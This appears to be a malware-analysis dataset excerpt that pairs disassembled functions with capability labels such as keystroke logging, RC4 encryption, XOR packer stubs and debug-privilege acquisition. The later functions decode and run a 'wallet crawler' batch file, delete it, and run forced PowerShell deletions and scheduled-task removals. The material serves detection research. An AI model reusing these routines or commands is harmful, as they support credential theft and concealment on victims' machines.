joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10031be0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0xf
call fcn.1004dfe4
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov dword [ebp - 8], 0x9a
mov dword [ebp - 4], 0
jmp 0x10031c11
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0xd
jge 0x10031c4f
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
movsx ecx, byte [eax]
xor ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov edx, dword [ebp - 4]
mov byte [eax + edx], cl
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
and ecx, 0x800000ff
jns 0x10031c4a
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 8], ecx
jmp 0x10031c08
mov edx, 1
imul eax, edx, 0xd
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov byte [eax + edx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10031c70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0x11
call fcn.1004dfe4
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov dword [ebp - 8], 0x80
mov dword [ebp - 4], 0
jmp 0x10031ca1
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0xf
jge 0x10031cdf
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
movsx ecx, byte [eax]
xor ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov edx, dword [ebp - 4]
mov byte [eax + edx], cl
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
and ecx, 0x800000ff
jns 0x10031cda
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 8], ecx
jmp 0x10031c98
mov edx, 1
imul eax, edx, 0xf
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov byte [eax + edx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10031d00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0x11
call fcn.1004dfe4
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov dword [ebp - 8], 0x3a
mov dword [ebp - 4], 0
jmp 0x10031d31
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0xf
jge 0x10031d6f
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
movsx ecx, byte [eax]
xor ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov edx, dword [ebp - 4]
mov byte [eax + edx], cl
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
and ecx, 0x800000ff
jns 0x10031d6a
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 8], ecx
jmp 0x10031d28
mov edx, 1
imul eax, edx, 0xf
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov byte [eax + edx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10033450
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov byte [eax + 0x18], 1
push str.__________:__.___1234567890
mov ecx, dword [ebp - 4]
add ecx, 0xc
call fcn.1002f6b0
push 0
push 8
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
push 0
push 0x2d
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edx, dword [ebp - 4]
mov dword [edx + 0x14], eax
push 0
push 0x10
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
push eax
mov ecx, dword [ebp - 4]
call fcn.10031f80
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x5ad96fa4
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x7c534fdd
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x404b33
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4016c6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push 0x2c
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x4011c8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call sub.MSVBVM60.DLL___vbaOnError
mov dword [ebp - 4], 3
push 0x402d04
call fcn.00404c1c
mov dword [ebp - 4], 4
mov eax, dword [ebp + 0x10]
cmp word [eax], 0xffff
jne 0x404bb5
mov dword [ebp - 4], 5
mov dword [ebp - 0x24], 0x1d
jmp 0x404bc0
mov dword [ebp - 4], 7
and dword [ebp - 0x24], 0
mov dword [ebp - 4], 9
lea eax, [ebp - 0x24]
push eax
call sub.MSVBVM60.DLL_VarPtr
mov dword [ebp - 0x38], eax
push 4
push dword [ebp - 0x38]
push 0x1d
xor eax, eax
mov eax, dword [ebp + 0xc]
mov ax, word [eax]
push eax
call fcn.0040307c
call sub.MSVBVM60.DLL___vbaSetSystemError
push 0x404bfe
jmp 0x404bfd
ret
Function at 0x401134
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x230
mov eax, dword [0x41d040]
xor eax, esp
mov dword [esp + 0x22c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x240]
mov ebx, edx
xor ebp, ebp
mov dword [esp + 0x34], ecx
push edi
mov dword [esp + 0x2c], ebx
mov ecx, ebp
mov eax, ecx
mov byte [esp + ecx + 0x3c], cl
cdq
idiv dword [esp + 0x248]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x13c], al
inc ecx
cmp ecx, 0x100
jl 0x401161
mov edi, ebp
mov esi, ebp
mov dl, byte [esp + esi + 0x3c]
movzx eax, byte [esp + esi + 0x13c]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x4011a9
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x3c]
mov byte [esp + esi + 0x3c], al
inc esi
mov byte [esp + edi + 0x3c], dl
cmp esi, 0x100
jl 0x401186
mov esi, ebp
mov dword [esp + 0x10], ebp
mov eax, ebp
mov dword [esp + 0x28], esi
mov dword [esp + 0x14], eax
mov edi, 0x3e8
mov dword [esp + 0x18], esi
cmp eax, esi
je 0x4011e6
mov dword [eax], ebx
add eax, 4
mov dword [esp + 0x14], eax
jmp 0x4011fd
lea ecx, [esp + 0x2c]
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.00401957
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
sub edi, 1
jne 0x4011d7
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x28], esi
cmp dword [ebx + 4], ebp
jle 0x401314
mov edi, ebp
mov esi, edi
inc edi
and edi, 0x800000ff
jns 0x401228
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x3c]
movzx edx, cl
add esi, edx
mov dword [esp + 0x1c], edi
and esi, 0x800000ff
jns 0x401245
dec esi
or esi, 0xffffff00
inc esi
mov al, byte [esp + esi + 0x3c]
mov byte [esp + edi + 0x3c], al
mov byte [esp + esi + 0x3c], cl
movzx eax, byte [esp + edi + 0x3c]
add eax, edx
movzx ecx, al
mov dword [esp + 0x20], ecx
test al, al
je 0x4012fb
and dword [esp + 0x10], 0
xor eax, eax
xor edi, edi
mov dword [esp + 0x14], eax
push 0xa
xor ecx, 3
mov dword [esp + 0x1c], edi
pop edx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0x24], edx
cmp eax, edi
je 0x401299
mov dword [eax], ecx
add eax, 4
mov dword [esp + 0x14], eax
jmp 0x4012b8
lea ecx, [esp + 0x30]
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.00401957
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x24]
sub edx, 1
mov dword [esp + 0x24], edx
jne 0x40128a
push 0x40
push str.Current_val:__d_n
call fcn.00401006
mov eax, dword [esp + 0x18]
pop ecx
pop ecx
test eax, eax
je 0x4012f3
sub edi, eax
and edi, 0xfffffffc
push edi
push eax
call fcn.004018fa
xor eax, eax
pop ecx
pop ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov edi, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov al, byte [esp + ecx + 0x3c]
mov ecx, dword [esp + 0x38]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [ebx + 4]
jl 0x401217
mov esi, dword [esp + 0x28]
sub esi, ebx
and esi, 0xfffffffc
push esi
push ebx
call fcn.004018fa
pop ecx
pop ecx
mov ecx, dword [esp + 0x23c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004025da
add esp, 0x230
ret
Function at 0x401571
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2c
mov eax, dword [0x41d040]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
mov esi, dword [0x471438]
xor ebx, ebx
push edi
mov dword [esp + 0x14], edx
mov eax, dword [esi + 0x3c]
mov ebp, dword [eax + esi + 0x78]
add ebp, esi
mov edi, dword [ebp + 0x20]
mov eax, dword [ebp + 0x18]
add edi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x4015d8
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
add eax, esi
push eax
call fcn.00401803
lea ecx, [esp + 0x1c]
call fcn.0040133b
cmp eax, dword [esp + 0x14]
je 0x4015f0
lea ecx, [esp + 0x1c]
add edi, 4
call fcn.00401834
inc ebx
cmp ebx, dword [esp + 0x18]
jb 0x4015a8
xor edi, edi
mov ecx, dword [esp + 0x34]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004025da
add esp, 0x2c
ret
mov eax, dword [ebp + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x1c]
call fcn.00401834
jmp 0x4015da

Function at 0x401673
Capabilities:
Access peb ldr_data
Create thread
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
sub cx, 0x1f9
mul edi
dec cx
mul di
mul ebx
sub ax, 0x22b
or edi, ebx
shr cx, 2
rcl eax, 0x6e
rol ax, 0x19
rcl cx, 0xcb
mul si
mov si, 0x1b0
rcr esi, 0xed
inc si
dec dx
movsx ebx, si
movsx ecx, si
rcl cx, 0x33
mov edx, esi
shr ax, 0xb9
dec cx
ja 0x4016cf
test edx, 0x43
ja 0x4016f0
dec bx
imul eax
jmp 0x4016df
rol bx, 0x64
sub di, cx
ror esi, 0x18
ror ecx, 0xef
movsx ebx, bx
rcl eax, 0x5b
mul esi
jae 0x4016f0
inc ax
movsx ecx, si
rcr ebx, 0x8e
jmp 0x40170b
and ecx, 0x33b
ror edx, 0x56
rcr di, 0xc6
or esi, 0x389
movzx edi, ax
movsx edi, si
imul edx
mul cx
ror ax, 0x4e
sub ebx, 0xb9
rcl cx, 0x60
jb 0x40172a
imul si
mul eax
inc esi
xor bx, dx
inc ebx
jmp 0x40173c
mul eax
add eax, edi
mov ax, 0x2a4
mul ebx
ror edi, 0xfc
xor di, 0xdb
movsx ecx, di
dec bx
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x471438], eax
push 0x27
mov esi, 0x470180
mov edx, 0x547
push 0x41d950
mov ecx, esi
call fcn.00401134
pop ecx
pop ecx
mov edx, 0x8aafdc01
call fcn.00401571
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x4e4
push esi
call eax
test eax, eax
je 0x4017ed
push 4
call fcn.004025e8
pop ecx
lea ecx, [ebp - 8]
xor esi, esi
push ecx
push esi
push eax
push 0x401a9a
push esi
push esi
mov dword [eax], 0x40160e
call fcn.004059fb
add esp, 0x18
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4017e6
cmp dword [ebp - 8], esi
je 0x4017f6
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [ebp - 8], eax
jne 0x4017cf
push 5
jmp 0x4017f8
push esi
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.004022f8
add esp, 0xc
test eax, eax
je 0x4017ed
push 2
jmp 0x4017f8
mov dword [ebp - 8], esi
push 6
jmp 0x4017f8
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push 1
call fcn.00402015
int3
Function at 0x403036
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403075
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403075
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403075
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403075
cmp dword [ecx + 0x74], 0xe
jbe 0x403075
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x409284
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41735c
push 0x417354
push str.FlsAlloc
push 0x1e
call fcn.00409162
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4092b8
push dword [ebp + 8]
mov ecx, esi
call dword [0x41512c]
call esi
jmp 0x4092be
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409302
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41736c
push 0x417364
push str.FlsGetValue
push 0x20
call fcn.00409162
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409339
push dword [ebp + 8]
mov ecx, esi
call dword [0x41512c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40cf04
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40cfa1
push ebx
push esi
call fcn.0040cecd
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040ce16
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40cf4e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40cfa0
push edi
push eax
call fcn.0040a13e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40cf6e
call fcn.0040900f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40cf9f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040ce16
add esp, 0x20
test eax, eax
jne 0x40cf8d
push edi
call fcn.0040900f
jmp 0x40cf95
push ebx
call fcn.0040900f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x413f20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x413f4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x413f4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x300093c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x30009436
mov eax, dword [ebp + 8]
test eax, 3
je 0x300093f8
cmp word [eax], 0
je 0x300093f1
lea eax, [eax + 2]
test eax, 3
je 0x300093f8
jmp 0x300093df
sub eax, dword [ebp + 8]
shr eax, 1
jmp 0x30009433
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x10001
xor edx, ecx
and edx, 0x80008000
je 0x300093f8
sub eax, dword [ebp + 8]
shr eax, 1
test cx, cx
lea eax, [eax - 2]
je 0x30009433
test ecx, 0xffff0000
lea eax, [eax + 1]
je 0x30009433
lea eax, [eax*2 + 2]
add eax, dword [ebp + 8]
jmp 0x300093f8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x447ec0], 1
mov dword [0x447ebc], 1
mov dword [0x447eb8], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x447014], eax
mov eax, dword [0x447ecc]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x447ee0]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x447ec8]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x423e54], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x402330
Capabilities:
Delete file
Execute command

Disassembly:
push esi
push ebx
sub esp, 0x414
lea eax, [esp + 0x24]
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
lea ebx, [esp + 0x28]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
call sym._sprintf
mov dword [esp + 4], ebx
mov dword [esp], 2
call sym._create_specific_file
mov ebx, eax
test eax, eax
je 0x402410
lea esi, [esp + 0x21c]
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x4241b5
mov dword [esp], esi
call sym._sprintf
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x402400
mov dword [esp], ebx
call sym._remove
mov ebx, eax
test eax, eax
je 0x4023e0
mov dword [esp], str.Removal_of_file_failed
call sym._puts
mov ebx, 1
add esp, 0x414
mov eax, ebx
pop ebx
pop esi
ret
mov dword [esp], str.Removed_wallet_crawler_batch
call sym._puts
add esp, 0x414
mov eax, ebx
pop ebx
pop esi
ret
mov dword [esp], str.File_execution_failed
call sym._puts
jmp 0x4023cf
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
jmp 0x40238e

Function at 0x402430
Capabilities:
Delete file
Execute command

Disassembly:
push esi
push ebx
sub esp, 0x414
lea eax, [esp + 0x24]
mov dword [esp], str.d2luX2Y2NF96emdjLmJhdA
lea ebx, [esp + 0x28]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
mov dword [esp], ebx
call sym._sprintf
mov dword [esp + 4], ebx
mov dword [esp], 1
call sym._create_specific_file
test eax, eax
je 0x402520
lea esi, [esp + 0x21c]
mov dword [esp + 8], eax
mov ebx, eax
mov dword [esp + 4], 0x4241b5
mov dword [esp], esi
call sym._sprintf
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x402500
mov dword [esp], ebx
call sym._remove
mov ebx, eax
test eax, eax
je 0x4024e0
mov dword [esp], str.Removal_of_file_failed
call sym._puts
mov ebx, 1
add esp, 0x414
mov eax, ebx
pop ebx
pop esi
ret
mov dword [esp], str.Removed_fucker_file_you_fuck
call sym._puts
add esp, 0x414
mov eax, ebx
pop ebx
pop esi
ret
mov dword [esp], str.File_execution_failed
call sym._puts
mov dword [esp], ebx
call sym._free
jmp 0x4024cf
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
jmp 0x4024cf
Function at 0x402840
Capabilities:
Execute command

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x50c
lea eax, [esp + 0x2c]
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
lea esi, [esp + 0x50]
mov dword [esp + 4], eax
lea ebp, [esp + 0x17c]
lea edi, [esp + 0x2a8]
call sym._base64_decode
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
mov dword [esp], esi
call sym._sprintf
mov dword [esp + 4], 0x424061
mov dword [esp], esi
call sym._check_exist
lea eax, [esp + 0x30]
mov dword [esp], str.cG93ZXJzaGVsbCBSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGg
mov dword [esp + 4], eax
mov dword [esp + 0x38], str.SchTasks__Delete__TN__DataRestoreSettings_
mov dword [esp + 0x3c], str.SchTasks__Delete__TN__TouchpadSyncSettingsRestore_
mov dword [esp + 0x40], str.SchTasks__Delete__TN__LocalUserDataSyncAvailable_
mov dword [esp + 0x44], str.SchTasks__Delete__TN__MouseDataRestoreAvailable_
mov dword [esp + 0x48], str.SchTasks__Delete__TN__PenSettingsSync_
mov dword [esp + 0x4c], str.SchTasks__Delete__TN__UpdateWinOutSettings_
call sym._base64_decode
mov dword [esp + 0xc], 0x447540
mov dword [esp + 8], eax
mov ebx, eax
mov dword [esp + 4], str._s__s__Force__Recurse
mov dword [esp], ebp
call sym._sprintf
mov dword [esp + 8], ebx
mov dword [esp + 0xc], 0x447740
mov dword [esp + 4], str._s__s__Force__Recurse
mov dword [esp], edi
call sym._sprintf
lea eax, [esp + 0x34]
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 8], ebx
lea ebx, [esp + 0x3d4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x447060
mov dword [esp + 4], str._s_C:Users_s_s__Force__Recurse
mov dword [esp], ebx
call sym._sprintf
mov dword [esp], ebp
call sym._system
test eax, eax
je 0x4029e8
mov dword [esp], str.Removal_failed_dstdir
call sym._puts
mov dword [esp], edi
call sym._system
test eax, eax
je 0x402a00
mov dword [esp], str.Removal_failed_zipdir
call sym._puts
mov dword [esp], ebx
call sym._system
test eax, eax
je 0x402a18
mov dword [esp], str.Removal_failed_file_dst
call sym._puts
lea ebx, [esp + 0x38]
jmp 0x4029b7
add ebx, 4
cmp esi, ebx
je 0x4029d8
mov eax, dword [ebx]
mov dword [esp], eax
call sym._system
test eax, eax
je 0x4029b0
mov dword [esp], str.schtasks_removal_failed
add ebx, 4
call sym._puts
cmp esi, ebx
jne 0x4029b7
add esp, 0x50c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Removal_dstdir
call sym._puts
mov dword [esp], edi
call sym._system
test eax, eax
jne 0x402981
mov dword [esp], str.Removal_zipdir
call sym._puts
mov dword [esp], ebx
call sym._system
test eax, eax
jne 0x402999
mov dword [esp], str.Removal_file_dst
call sym._puts
jmp 0x4029a5
Function at 0x402c30
Capabilities:
Execute command

Disassembly:
push ebp
xor ebp, ebp
push edi
push esi
push ebx
sub esp, 0x12c
mov esi, dword [esp + 0x140]
lea ebx, [esp + 0x26]
lea edi, [esp + 0x8a]
jmp 0x402c5c
add ebp, 1
cmp ebp, 9
je 0x402cf1
mov eax, dword [ebp*8 + 0x425704]
mov dword [esp + 8], esi
mov dword [esp + 4], 0x424b4d
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call sym._sprintf_1
mov dword [esp + 4], str._Command_dir
mov dword [esp], ebx
call sym._check_exist
test eax, eax
jne 0x402c50
lea eax, [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp*8 + 0x425700]
mov dword [esp], eax
call sym._base64_decode
mov dword [esp + 8], ebx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x144]
mov dword [esp + 4], str.powershell__cp__s__s_files_s_
mov dword [esp + 0xc], eax
mov dword [esp], edi
call sym._sprintf_1
mov dword [esp], edi
call sym._system
test eax, eax
je 0x402c50
mov dword [esp], str.Copy_app_file_failed
add ebp, 1
call sym._puts
cmp ebp, 9
jne 0x402c5c
add esp, 0x12c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret